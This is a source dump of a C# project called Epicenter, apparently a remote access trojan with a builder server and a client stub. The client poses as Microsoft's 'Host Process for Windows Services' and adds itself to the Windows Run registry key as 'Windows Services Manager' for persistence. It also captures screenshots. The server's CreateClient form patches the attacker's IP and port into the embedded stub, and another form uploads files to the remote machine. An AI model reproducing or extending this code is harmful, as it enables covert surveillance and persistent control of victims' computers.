/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter Client.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\bin\Debug\Epicenter Client.exe.config
2 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\bin\Debug\Epicenter Client.exe
3 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\bin\Debug\Epicenter Client.pdb
4 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\obj\x86\Debug\ResolveAssemblyReference.cache
5 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\obj\x86\Debug\Epicenter_Client.Properties.Resources.resources
6 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\obj\x86\Debug\ResGen.read.1.tlog
7 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\obj\x86\Debug\ResGen.write.1.tlog
8 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\obj\x86\Debug\Epicenter Client.exe
9 | c:\users\main\documents\visual studio 2010\Projects\Epicenter Client\Epicenter Client\obj\x86\Debug\Epicenter Client.pdb
10 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter Client\Epicenter Client\obj\x86\Debug\Epicenter_Client.Resources.resources
11 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Epicenter SERVER")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("Epicenter SERVER")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("a155a0dc-ca9b-4fa3-851b-f3fe0329808e")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Host Process for Windows Services")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("Host Process for Windows Services")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("a9bd9cf7-e1bc-4c3e-a297-b3cde44659f4")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/FileUploadDisplay.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace Epicenter_SERVER
10 | {
11 | public partial class FileUploadDisplay : Form
12 | {
13 | administrate owner;
14 | public FileUploadDisplay(administrate _owner, string remotePosition)
15 | {
16 | InitializeComponent();
17 | txtDestination.Text = remotePosition;
18 | owner = _owner;
19 | }
20 |
21 | private void btnCancel_Click(object sender, EventArgs e)
22 | {
23 | DialogResult = DialogResult.Cancel;
24 | this.Close();
25 | }
26 |
27 | private void btnBrowse_Click(object sender, EventArgs e)
28 | {
29 | OpenFileDialog dia = new OpenFileDialog();
30 |
31 | if (dia.ShowDialog() == DialogResult.OK)
32 | txtLocal.Text = dia.FileName;
33 | }
34 |
35 | private void btnProceed_Click(object sender, EventArgs e)
36 | {
37 | if (String.IsNullOrEmpty(txtLocal.Text) || String.IsNullOrEmpty(txtDestination.Text))
38 | {
39 | MessageBox.Show("You haven't filled in all the necessary fields.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
40 | return;
41 | }
42 |
43 | owner.toUpload_local = txtLocal.Text;
44 | owner.toUpload_remote = txtDestination.Text;
45 |
46 | DialogResult = DialogResult.OK;
47 | this.Close();
48 | }
49 |
50 |
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/RegistryAlteration.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using Microsoft.Win32;
5 | using System.Windows.Forms;
6 |
7 | namespace Epicenter_Client
8 | {
9 | class RegistryAlteration
10 | {
11 | public static bool isPresent()
12 | {
13 | RegistryKey masterKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
14 |
15 | if (masterKey == null)
16 | return false;
17 | else
18 | {
19 | try
20 | {
21 | object retn = masterKey.GetValue("Windows Services Manager");
22 | masterKey.Close();
23 | if (retn == null)
24 | return false;
25 | else
26 | return true;
27 | }
28 | catch
29 | {
30 | if(masterKey != null)
31 | masterKey.Close();
32 | return false;
33 | }
34 | }
35 | }
36 |
37 | public static bool AddToStartup()
38 | {
39 | RegistryKey masterKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
40 |
41 | if (masterKey == null)
42 | return false;
43 | else
44 | {
45 | try
46 | {
47 | masterKey.SetValue("Windows Services Manager", Application.ExecutablePath);
48 | }
49 | catch
50 | {
51 | return false;
52 | }
53 | finally
54 | {
55 | masterKey.Close();
56 | }
57 | }
58 | return true;
59 | }
60 |
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/ScreenshotMechanism.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Windows.Forms;
5 | using System.Drawing.Imaging;
6 | using System.Drawing;
7 | using System.IO;
8 |
9 | namespace Epicenter_Client
10 | {
11 | class ScreenshotMechanism
12 | {
13 | public static MemoryStream latestScreenshot = new MemoryStream();
14 |
15 |
16 | public static bool TakeScreenshot(int quality_quotient)
17 | {
18 | Bitmap resultant = null;
19 | Graphics gfxScreenshot = null;
20 | latestScreenshot = new MemoryStream();
21 |
22 | try
23 | {
24 | resultant = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
25 | gfxScreenshot = Graphics.FromImage(resultant);
26 | gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
27 | }
28 | catch
29 | {
30 | return false;
31 | }
32 |
33 | ImageCodecInfo jgpEncoder = GetEncoder(ImageFormat.Jpeg);
34 | System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
35 | EncoderParameters myEncoderParameters = new EncoderParameters(1);
36 |
37 | // Setting the picture quality
38 | EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, (long)quality_quotient);
39 | myEncoderParameters.Param[0] = myEncoderParameter;
40 |
41 | resultant.Save(latestScreenshot, jgpEncoder, myEncoderParameters);
42 |
43 |
44 |
45 | return true;
46 | }
47 |
48 | private static ImageCodecInfo GetEncoder(ImageFormat format)
49 | {
50 | ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
51 |
52 | foreach (ImageCodecInfo codec in codecs)
53 | {
54 | if (codec.FormatID == format.Guid)
55 | {
56 | return codec;
57 | }
58 | }
59 | return null;
60 | }
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter SERVER.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\ResolveAssemblyReference.cache
2 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter_SERVER.administrate.resources
3 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter_SERVER.CreateClient.resources
4 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter_SERVER.DisplayScreen.resources
5 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter_SERVER.FileUploadDisplay.resources
6 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter_SERVER.Form1.resources
7 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter_SERVER.Properties.Resources.resources
8 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter_SERVER.Resource.resources
9 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\ResGen.read.1.tlog
10 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\ResGen.write.1.tlog
11 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\bin\Debug\Epicenter SERVER.exe.config
12 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\bin\Debug\Epicenter SERVER.exe
13 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\bin\Debug\Epicenter SERVER.pdb
14 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter SERVER.exe
15 | C:\Users\Main\Documents\Visual Studio 2010\Projects\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter SERVER.pdb
16 | C:\Users\Maın\Dropbox\Epicenter SERVER\Epicenter SERVER\bin\Debug\Epicenter SERVER.exe.config
17 | C:\Users\Maın\Dropbox\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter SERVER.exe
18 | C:\Users\Maın\Dropbox\Epicenter SERVER\Epicenter SERVER\obj\x86\Debug\Epicenter SERVER.pdb
19 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.225
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Epicenter_Client.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Epicenter_Client.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.225
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Epicenter_SERVER.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Epicenter_SERVER.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.225
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Epicenter_Client {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Epicenter_Client.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | internal static byte[] file {
64 | get {
65 | object obj = ResourceManager.GetObject("file", resourceCulture);
66 | return ((byte[])(obj));
67 | }
68 | }
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Resource.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.225
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Epicenter_SERVER {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resource {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resource() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Epicenter_SERVER.Resource", typeof(Resource).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | internal static byte[] client {
64 | get {
65 | object obj = ResourceManager.GetObject("client", resourceCulture);
66 | return ((byte[])(obj));
67 | }
68 | }
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/DisplayScreen.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace Epicenter_SERVER
2 | {
3 | partial class DisplayScreen
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DisplayScreen));
32 | this.pbPicture = new System.Windows.Forms.PictureBox();
33 | this.btnSave = new System.Windows.Forms.Button();
34 | ((System.ComponentModel.ISupportInitialize)(this.pbPicture)).BeginInit();
35 | this.SuspendLayout();
36 | //
37 | // pbPicture
38 | //
39 | this.pbPicture.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
40 | | System.Windows.Forms.AnchorStyles.Left)
41 | | System.Windows.Forms.AnchorStyles.Right)));
42 | this.pbPicture.Location = new System.Drawing.Point(8, 12);
43 | this.pbPicture.Name = "pbPicture";
44 | this.pbPicture.Size = new System.Drawing.Size(607, 394);
45 | this.pbPicture.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
46 | this.pbPicture.TabIndex = 0;
47 | this.pbPicture.TabStop = false;
48 | //
49 | // btnSave
50 | //
51 | this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
52 | | System.Windows.Forms.AnchorStyles.Right)));
53 | this.btnSave.Location = new System.Drawing.Point(8, 412);
54 | this.btnSave.Name = "btnSave";
55 | this.btnSave.Size = new System.Drawing.Size(607, 23);
56 | this.btnSave.TabIndex = 1;
57 | this.btnSave.Text = "Save As";
58 | this.btnSave.UseVisualStyleBackColor = true;
59 | this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
60 | //
61 | // DisplayScreen
62 | //
63 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
64 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
65 | this.ClientSize = new System.Drawing.Size(624, 442);
66 | this.Controls.Add(this.btnSave);
67 | this.Controls.Add(this.pbPicture);
68 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
69 | this.Name = "DisplayScreen";
70 | this.Text = "Display the Screenshot";
71 | ((System.ComponentModel.ISupportInitialize)(this.pbPicture)).EndInit();
72 | this.ResumeLayout(false);
73 |
74 | }
75 |
76 | #endregion
77 |
78 | private System.Windows.Forms.PictureBox pbPicture;
79 | private System.Windows.Forms.Button btnSave;
80 | }
81 | }
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/CreateClient.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Text;
7 | using System.Windows.Forms;
8 | using System.IO;
9 |
10 | namespace Epicenter_SERVER
11 | {
12 | public partial class CreateClient : Form
13 | {
14 | public CreateClient()
15 | {
16 | InitializeComponent();
17 | }
18 |
19 | private void btnCreate_Click(object sender, EventArgs e)
20 | {
21 | #region Some checks
22 | if (String.IsNullOrEmpty(txtName.Text) || String.IsNullOrEmpty(txtIP.Text) || String.IsNullOrEmpty(txtComm.Text) ||
23 | String.IsNullOrEmpty(txtAuth.Text) || String.IsNullOrEmpty(txtConn.Text) || String.IsNullOrEmpty(txtImageName.Text))
24 | {
25 | MessageBox.Show("Please fill all the fields.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
26 | return;
27 | }
28 | int port = 0;
29 | if ( !Int32.TryParse(txtComm.Text, out port) )
30 | {
31 | MessageBox.Show("Please enter a numerical value into the PORT field.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
32 | return;
33 | }
34 |
35 | int interval = 0;
36 | if ( !Int32.TryParse(txtAuth.Text, out interval) || !Int32.TryParse(txtComm.Text, out interval) )
37 | {
38 | MessageBox.Show("Please enter a numerical value into the intervals.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
39 | return;
40 | }
41 |
42 | if (txtName.Text.Contains("<%SEP%>") || txtName.Text.Contains("") || txtName.Text.Contains("YEPTRUPTASKAMELANAZ") ||
43 | txtName.Text.Contains("BEASDZXXXMEL") || txtImageName.Text.Contains("<%SEP%>") || txtImageName.Text.Contains("") ||
44 | txtImageName.Text.Contains("YEPTRUPTASKAMELANAZ") || txtImageName.Text.Contains("BEASDZXXXMEL"))
45 | {
46 | MessageBox.Show("You've entered an invalid name. Please change your variables.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
47 | return;
48 | }
49 | #endregion
50 |
51 | long signatureA = SeekSignature("BEASDZXXXMEL");
52 | long signatureB = SeekSignature("YEPTRUPTASKAMELANAZ");
53 |
54 | if (signatureA == -1 || signatureB == -1)
55 | {
56 | MessageBox.Show("There is a problem with the stub.\nMore specifically, the signatures can't be determined.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
57 | return;
58 | }
59 |
60 | string dataToWrite = txtIP.Text + "<%SEP%>" + txtComm.Text + "<%SEP%>" + txtName.Text + "<%SEP%>" + txtConn.Text + "<%SEP%>" +
61 | txtAuth.Text + "<%SEP%>" + txtImageName.Text + "<%SEP%>A" + ""; // We can add dump location later on.
62 |
63 | if (dataToWrite.Length > 122)
64 | {
65 | MessageBox.Show("The data to write into stub is too long.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
66 | return;
67 | }
68 |
69 | byte[] byteToWrite = UTF8Encoding.UTF8.GetBytes(dataToWrite);
70 |
71 | long locationInStub = signatureA + 12;
72 | for (int i = 0; i < dataToWrite.Length; i++)
73 | {
74 | stub[locationInStub] = byteToWrite[i];
75 | locationInStub++;
76 | }
77 |
78 | SaveFileDialog dia = new SaveFileDialog();
79 |
80 | if (dia.ShowDialog() == DialogResult.OK)
81 | {
82 | FileStream fs = new FileStream(dia.FileName, FileMode.Create, FileAccess.Write);
83 | fs.Write(stub, 0, stub.Length);
84 |
85 | fs.Close();
86 | fs.Dispose();
87 |
88 | MessageBox.Show("Client created successfully.", "Client Created", MessageBoxButtons.OK, MessageBoxIcon.Information);
89 | }
90 |
91 | }
92 |
93 | byte[] stub = Resource.client;
94 | private long SeekSignature(string _signature)
95 | {
96 | byte[] signatureA = UTF8Encoding.UTF8.GetBytes(_signature);
97 |
98 | MemoryStream ms = new MemoryStream(stub);
99 | byte chTemp;
100 | long latestHitBeginningLocation = 0;
101 | int locationInArray = 0;
102 | long FileLen;
103 | long CurrentPos = 0;
104 |
105 | FileLen = stub.Length;
106 |
107 | while (locationInArray < signatureA.Length)
108 | {
109 | chTemp = (byte)ms.ReadByte();
110 | CurrentPos++;
111 |
112 | if (chTemp == signatureA[locationInArray])
113 | {
114 | if (locationInArray == 0)
115 | latestHitBeginningLocation = ms.Position - 1;
116 |
117 | if (locationInArray == signatureA.Length)
118 | break;
119 |
120 | locationInArray++;
121 | }
122 | else
123 | {
124 | locationInArray = 0;
125 | latestHitBeginningLocation = 0;
126 | }
127 |
128 | if (CurrentPos >= FileLen)
129 | {
130 | if (ms != null) { ms.Close(); ms.Dispose(); }
131 | return -1;
132 | }
133 | }
134 | if (ms != null) { ms.Close(); ms.Dispose(); }
135 | return latestHitBeginningLocation;
136 | }
137 | }
138 | }
139 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
